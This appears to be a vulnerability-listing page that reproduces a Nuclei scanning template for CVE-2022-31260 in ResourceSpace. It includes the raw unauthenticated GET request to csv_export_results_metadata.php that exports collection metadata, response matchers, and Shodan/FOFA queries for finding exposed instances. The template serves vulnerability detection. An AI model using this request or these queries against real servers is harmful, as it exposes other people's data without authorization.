CVE-2022-31260: ResourceSpace - Metadata Export

2025-08-01 ResourceSpace PoC Public

Description

In Montala ResourceSpace through 9.8 before r19636, csv_export_results_metadata.php allows attackers to export collection metadata via a non-NULL k value.

PoC

id: CVE-2022-31260

info:
  name: ResourceSpace - Metadata Export
  author: ritikchaddha
  severity: medium
  description: |
    In Montala ResourceSpace through 9.8 before r19636, csv_export_results_metadata.php allows attackers to export collection metadata via a non-NULL k value.
  impact: |
    Successful exploitation could lead to unauthorized access to sensitive metadata.
  remediation: |
    Apply the vendor-supplied patch or upgrade to the latest version to mitigate CVE-2022-31260.
  reference:
    - https://github.com/grymer/CVE/blob/master/CVE-2022-31260.md
    - https://nvd.nist.gov/vuln/detail/CVE-2022-31260
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
    cvss-score: 6.5
    cve-id: CVE-2022-31260
    cwe-id: CWE-306
    epss-score: 0.01987
    epss-percentile: 0.79582
    cpe: cpe:2.3:a:montala:resourcespace:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: montala
    product: resourcespace
    shodan-query: title:"ResourceSpace"
    fofa-query: title="ResourceSpace"
  tags: cve,cve2022,resourcespace,misconfig,vuln

http:
  - raw:
      - |
        GET /pages/csv_export_results_metadata.php?k=zulu&personaldata=0&allavailable=true&submit=1 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_any(body, "CSV-Export -", "pagename=\"csv_export_results_metadata")'
          - 'status_code == 200'
        condition: and
# digest: 490a0046304402204965d4bfa1385578d448b8b9c24a291152a42e1682b76480ac2dacfcaf9932ab022012c0f2615e113ce5005b3bc828b3427d274deb60711a263d9a8431a0aa8135f1:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities